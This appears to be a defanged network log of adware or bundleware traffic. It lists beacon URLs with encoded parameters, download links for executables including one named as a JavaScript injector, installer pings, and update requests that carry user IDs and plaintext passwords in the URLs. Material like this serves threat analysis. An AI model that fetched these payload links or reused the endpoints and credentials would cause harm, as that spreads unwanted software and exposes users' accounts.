hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9imua2CCuc REZP4WZMS1x0JQd5HxgIXdwgIjv 1CV6Nl6iMSCUoXjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9imua2CCuc RFmggqVoiq4KYX3Ti/i3YOrZUJO2Bj2/OMlN/XaXrTy94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsq8O0TqNFneq xSXuHmZXjPqL76yWygYEwHpIRYA39a3bgzl5Cp fkQ==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p8CFMPu/XF4Ln0AQg0WKP xjgb6v7cXpPsg9xFL4weyiMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=jJl6mEdycnTT6EXPOQXbtfHlB3qiz12uQF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0ciWZEfkXV7ZTC0rigrLizf4cdNw8aOYWoKyYoIbpn2WMVfl20iIArNSSaUQFDqWEnmP3t8anGDfBNsiUq8V7Jl JfVwpv1Wvy0vECgXcEntvc9SpJR4pwSmF904v4t2DIApimWCrqalV8LQmX6OGa/Z7qdg7Xwz6xEf5MEiWUmv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyyrw7ROo0Wd6r7FJe4eZleM ovvrJbKBgTAekhFgDf1rduDOXkKn5 R	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=/9ZmISdorEvwl4DCqEaRhL/VBV3DuIWq7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncijmYM h47eE6YCpHZc9ZUaGLbhvor/ikhRQC drCF7eFmMZYHcepBbD7Un9VNhnCheIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZWJ 5WHu5jG1PT3JZ27DUijjrCJCIYOXzARdXBD1JSeCgOypJPSGZW0=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=eFCD8T/coicbrW3BnhHoaGkn7bj1NPi27OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncihwaag8FkyBLYCpHZc9ZUaH6/88N5jCoINCUHeR8YCF3WlDTfn6Wm6lW0Hx6tEFQQ4ukv1U9jWHLBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12334.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/jTVlehLbNNnaJiQZbBg0HgT3FsALGJiApIj GXdVcREtCUHeR8YCF35CHo3qBIj7aeeVwEMc36B6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tR0hDuzlZFdCYPPi3Zo1figDE8AtRh2XI58lM8JdMld5irOMBnstkejmnzicG6yEv4=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lGD5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/12334.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/jTVlehLbNNnaJiQZbBg0HgT3FsALGJiApIj GXdVcREtCUHeR8YCF3dBxqFduAyLccdDmfpxraNQFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozKtRNAl Wo5cBpQ1CWVtxNwzowecGsnRs2DRs8Tt7b6hOa5FOdl 2XTw==	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lG3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3TCM72XKEiy8qCttwK9rPhasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tR0hDuzlZFdCYPPi3Zo1figDE8AtRh2XI58lM8JdMld5irOMBnstkejmnzicG6yEv4=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/ShopperProJSINJFull.exe	198.232.124.192
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/iweb.exe
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/sense9.exe
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lG3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3Mlt I6v8YQuU2F4Ptf8DU8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lGyETj4nts NO517CUeh0QiwTxIUcsgQ wusjSmD/os8uUYk8/b2 6EUeCMSNo5dvN0DAe2B9i5kJssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvlscLueIfL3cclTumrkXWbdv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w=	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lG3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3B0MgIN2G2GkE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEscYi46Lw0XmCn9/rMZVqDBTEzAJiBY4c3UQbqpMFV8geBEGexEmKH9Zb F4 0I59k=	198.232.124.192
hxxp://54.197.238.106/app/ping.ashx?e=avvs8glXF/zT6EXPOQXbtdBAb6tOTltdvYHWe71VaIq/YV5 X6RdAFnDIVPriw0VvWzbeOk/KHkL/JGk ZoGMWAqR2XPWVGhniAZCxO/ Mj2NRySioDRRm56dV2mSeSpEjboCsMsaXRnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDkD DGUmvav HJeZ7WltgDeJ/Ipnh8gnxx/48vBuBRiWOEog NNy6LA==
hxxp://54.197.238.106/app/ping.ashx?e=qTTPt6qukDGfZNC1TqAoBGI1bU3Fhik5fhalIKY8mkHF v7PQ4kXwFfJuLEsXK5wdTDQrchEgedJGuFgMSoJbGg273Y1gaqZJgf2PKWJy6VrnS7dfKKClVERwfqW/OlLZYDleFDgyg8E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQxb91FMWgpmsTuQ1DAHiWFFbF1za1PDG7hmocZUcSQS3AHl6w3H159Q==
hxxp://212.143.22.213/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://212.143.22.213/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429342542&SBPIDS=1&KA=1
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429342542&SBPIDS=1&KA=1	212.143.22.214
hxxp://online.speedbit.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.214
hxxp://173.239.4.105/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYn7lYe7mMbU9PclnbsNSKOOsIkIhg5fMBF1cEPUlJ4JqWSC7 m/jK07xKwR3W9AY9/CpuCTIAF0=
hxxp://173.239.4.105/app/ping.ashx?e=/k6kR j50trdzuE9Nz05xfoywfXhr77b0oMOQ2TsHtiRoZJTpqsyZxASc9FSZWyoGYsEX4kIHlu/0mFZouDnPiqbL3WeaiLbbOP3GaNYEyTVAezdf3aKUfc/boITtVwp1P9gDFCZ6VapvGDt BB/ci1dbz JN6x9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj1T8UqV0B 4fqL9qhe/rNusYKT8bBfz5d NtU wuJMpTDG7KgaWci8oBSr28YVyfPg8SfsOq8sVv
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=xBG2NTmY QIdEfBWbuhmg3aA7ZGqv9/cjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1lhITs1b/36eyETj4nts NO517CUeh0QiwTxIUcsgQ w5ete8oeBwFl4bl7YkTc3OqYCe21t/MezMOWJzrgfWbd4d2eMBbtg9zz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqi0MPmR2YeEEaONN LdUOKbt353QWZx/1pNdTeugB sfTiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVifuVh7uYxtT09yWduw1Io46wiQiGDl8wEXVwQ9SUngoDsqST0hmVt	198.232.124.192
hxxp://173.239.4.105/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3nU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX97DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwW3rJXL3mb8g/H/jy8G4FGJY4SiD403Los
hxxp://173.239.4.105/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGIRZ1/hnxglElWZK2fQmsSQC hDpiFno9PeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm SzJtLg64wtyn9/rMZVqDBTEzAJiBY4c3UQbqpMFV8geBEGexEmKH9nyM8MCRSz4SmrvcVl0Mf/w==
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=e69ff47f-8242-4caa-8a5f-5c30eea4cf27&Password=EsmWimui&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429342543&SBPIDS=1&KA=1	212.143.22.214
hxxp://173.239.4.105/app/ping.ashx?e=/k6kR j50trdzuE9Nz05xfoywfXhr77b0oMOQ2TsHtiRoZJTpqsyZxASc9FSZWyoGYsEX4kIHlu/0mFZouDnPiqbL3WeaiLbbOP3GaNYEyTVAezdf3aKUX8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo/ew7RHyUKK6IuJSmtxq56iWx73v0ShanfqglJnWRFsFhvkTv8oAvme3Ih1Kfu IMReuT yH/uLbphiW/DYdUZuL1XwldYyi6o6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9EwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdC/pgYcHdP8mbUTQJflqOXAaUNQllbcTcM6MHnBrJ0bNg0bPE7e2 oTUKlyBqhyltEfJKZ4NCKSCQ==
hxxp://173.239.4.105/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3le0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ6vDtE6jRZ3qvsUl7h5mV4z6i slsoGBMB6SEWAN/WtsF9QGpXbnENCn qX4FpTdffopz0y2Q7Y
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=KC46TpkJIZzYLhsRuGeUaR0R8FZu6GaDdoDtkaq/39yMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WWEhOzVv/fp7IROPie2z40 X0A62pnUj3KYX3Ti/i3YMWsa713zW45TYd0CRAC1t0QqcInifBS6tG4Kswyw6eNNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyrUTQJflqOXAaUNQllbcTcM6MHnBrJ0bNg0bPE7e2 oTmuRTnZftl08=	198.232.124.192
hxxp://173.239.4.105/app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLygFKvbxhXJ8 DxJ w6ryxW8=
hxxp://173.239.4.105/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqp8Pk9jtfSr7GKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDq8O0TqNFneq xSXuHmZXjPqL76yWygYEwHpIRYA39a2wX1AalducQ Lmf6eHphUt9 inPTLZDtg=
hxxp://173.239.4.105/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqro4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1idvNRLeb/tYKSSyzds/hZ8AogVCnBq01 p7zotpWR2XjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV4TNSM5wMWNRg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6ONuXgfT2 BXMAeXrDcfXn1
hxxp://173.239.4.105/app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqro4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1idvNRLeb/tYr6Qb84RcTqgys89o9QykRMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9U/FKldAfuH6i/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKJkwA4PeZyroPEn7DqvLFbw==
hxxp://8.34.112.140/fp?alpha=eXJJcxpdAyQ6ClB+ZlkVeDYafhp5Ll8CW15zCGxGfmZEc1x7AzhwcQ1GJnY4OBBKI2BkAFECUXh9HicMYVU9dxofAQtsaSktWmAMXCYyfgU6c0o/RG5qHgcfBxxJMQ98JghnHikIQAx2fjVVaEgjYUQnZXgMJ3VFZHQYLRouZGt+Cmo3Wi1JNStZZktRYjlMCGlpXysUf38VHxoHDE80G30qBWIYPAkcFXB5IFJ8WyRnXHA3aVBzZwo4eXh3Uyl5bDt8cyVYN0J3cgAhFlAxL2F8T3gdYBJidRwOGw8aSzMQLmBJaHh1UB1aMzggISAdcDoYcyQXSCR4W2FzGhUaOWJsJ2Fldw0eGFwrWWtHDHtNABw+bkc/RGZwGxIdehhJNg9+IGMUa1huP38VXB5w
hxxp://173.239.4.105/app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZh0R8FZu6GaDdoDtkaq/39zZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutOeXK1HgKvEMUWbVgwixNWcSwZ6/LEwZLF1wG7O/OQ7XscS/rum0dyUP gGlRflyueXXE4oNm6FesaKJdZjPc2 CsHVVmHwIyxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoGrMpnxa6GDS1MLSuKCsuLN/hx03Dxo5hagrJighumfZRGbKC1zvqWqKNxr/pz/MJmAZSpRiXLg4A==
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=uWabAt9SLcyBuMQa44hX0PwuLAfuLSER7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncijmYM h47eE6eqfOL09Waq4oPfCrfVvRJhQC drCF7eF8q1Ber6XmkpQzH1M0FuaRKbnIApsAnWq/KNyNI7rZDBnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqrMpnxa6GDS1MLSuKCsuLN/hx03Dxo5hagrJighumfZT3p Gk9dZp5	198.232.124.192
hxxp://173.239.4.105/app/ping.ashx?e=/k6kR j50tqrESd40BFHqcxFQhk7Y4nTL/1dS KcnSIicvsFwQStENB87jgWTbK//EmjUQkbJhG95MROQWA/L1KaGmSCdQV059EKfMUqh4GpiLqOa3x6axZtcNn99AarGKzY45zi1OnWyB8eDAkaihrzHkXTPDbIs2bRVJi5NlOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYn7lYe7mMbU9PclnbsNSKOOsIkIhg5fMBF1cEPUlJ4JqWSC7 m/jKwODVeEYVPS89/CpuCTIAF0=
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=0bab2a10-0a3c-4ff7-bea3-06b298294831&Password=t4GCMrk5&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,a0968f9e-e6b6-4bae-9c17-c7f1ed550818,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429342544&SBPIDS=1	212.143.22.214
hxxp://8.34.112.140/ii?alpha=eXJJcxpXVFIlA2oAZlkVeDYafhp5LkVbF0xBXWJfKy4DNF9sAypCLS10RRcedjsOcnAgQnIzITF5Gi8NeTk1d3IWeBVvGi0uXnZZXDEyXElULRJiRyomCkxNAm0+NHAJUBYWAlgITANpf0YmfFYsYkQmewsMIwdQFHQbWg1/IiMuKhp0HSkRKi5ec1EFdiEcECVuSSdGbncKW09ZbgluCyZ2XSVDc0wcEyAuZic3FENpTSZ4eRouc1hlahkpCX4mIyQ5SAxUPBFNTUkpDEE7f0gVXDcRdhkoNAAfHAsBGWhCaXxWI0puAzRcJzlvFiodYXQrfzgtW2AySGJkeG1TKnJ2MDVILlozDFY+TzAaRzFmQkYrZF8kWG5pGwkaDgwIZEQ5ekYwD2xfGl5kcSBUa0szOw96NydTKgQGMihBbFRsP1AtNVMlX39/bH8bIwwcZGFbFT94ESAGYj4KXlwCFUstB38hAzhOIQ5JD3F7OlBzQScWRiRmcwAiZxg6IBVZXSBkYGU4SC1VYmhWQSEHWVEtYk4VTx0gXDd5I1gCfHJbGnNTYzNzGFh9TBwVEiJyETAaeXQvNgUKZ15hLDw3Qz94KWFsIDkBMFBiCn1wDHtOEzgyHFh6eAgWWX0=
hxxp://8.34.112.140/if?alpha=fW4RcmUZL2gFMDccPlhqfCpCf2V9Mh1aaEhdBWMgLzJbNSBoH3JDUiloHRZhcidWcw8kXioyXjVlQi5yfSVtdg0SZE1uZSkyBncmWC1qXTZQMUpjOC46Uk0yBnFmNQ8NTE4XfVwUFAIWe1p+fSkofhwnBA8QewYvEGhDW3J7PnsnQB4PCzs/cEtZLnR6NztABHgrU3BhfTYCA2EdRh4yeXo6U2RkNhMZGgt5KQ11NDcsQXFrP0dyKXIpKBxxMS0tOSdFYS4MCG4tMhl3LghsZxx5PnQSITh9PBFRGVRTHlUabWAOICloRxxjUiF4UjN3PWgSIwQvQTtmeCIuFWx+BWI+MExQMwUqc0trWSNvRi13G3dfMEh1bCgoHVE7WlwDTmlreRgmI3FNTxQBbyoTdSomfhQmCT5NPTZ+Mj1QbiIrYH14AxJyU3g8b25WKWcMGzlLO2YxTzMhDjUdSjBfEHB0KD9qDn12dlQcAB0hLk15fTcpUioQfQR+cCV3NREjc3gxaHIZFmpZbBEmMAd9NAR4J0MzMgRGf3o+fRBROFUNZ04WBU5bMD91QRxweBBSfGJgZXVyWl4sWipsNwcVB38xLSsLK1FXKQIyc08iZARTeH4TRSRkYmN2fzI4ETYiIxRYMgU=
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607deb71d8f3494f867a2b514a49c4e9&uniqid=5423049c0be0b64dd47e76f4552912c0&affiliate_id=videoplayer&software_id=videoplayer&sponsored_id=swiftrecord&tokyo_csrf2_key=88966f544384af5b75c38bd84c516aee&tokyo_csrf2_timestamp=1429342472&slot_number=2&index_in_screen=1&index_in_session=2&0.953743378173957
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/22693.ashx?e=aUlNCxxkjnSfZNC1TqAoBBmvNgHkrVH81VMaOJFqXYpm5LT87ehXaouB5vT09TkZvzmuumkvCj xSXuHmZXjPqL76yWygYEwHpIRYA39a1iixVChYh0gLiKIFo3W8f23Wq7IsWCDz6OA 4HcJUnTWJhFf2YHgWSz3HjAX5f3Ms/caEgn1aywnSpt9GSHWXQjyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L/4y49ULAFDJmd2nfyUtw7tDqZm84mZltXkERNHBe5a3/5OmEDwJ/nJy0n5cCJyqEpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqrMpnxa6GDS1MLSuKCsuLN/hx03Dxo5hagrJighumfZT3p Gk9dZp5	198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/18118.ashx?e=/9ZmISdorEtPNjxRBLtb409PmrGON2wU/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lwjvoO1MsIPreLt6BhzfOsD0FbaakihgO1P17LdzRwGrcSywkF18Bl8YJpucY5gZaR711If7ZLdKSAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBeLyj8PdRsUbjRsp5RG9pVqwADzuWvml5Co96KQrvxHzFtz73aJdyQ8sj2VHenQSi 0LhpxXD4t4eCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS Wxwu54h8vdzj0G4vSfy FJ 1RrHELFphtK1wir 9nJN2uJXiY94Hd9BsUJC/kEr0V2YT/J4lJ7qLkJa1saxG4d9O68WmdWuUi6JMKxFnrcdDdCrvfMsdio3APobOvi7HLn dEZvgtJ9YV 0oPIMu3xyeQZvP0qCNc7nZu2xEd8XkI9BdmlFHq03MkBYJkL2ljA2VISVKQ9LPMK20pdOzswdQDVcwIwUFdgJXhE4Jc5c13Lt8si12CFy Ytv6W1/S8SAgz6M4M7LcyhL9 7nQ0nhu0lnI0X E1b8Epic0SPicMbVtHKlWo2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko=	198.232.124.192
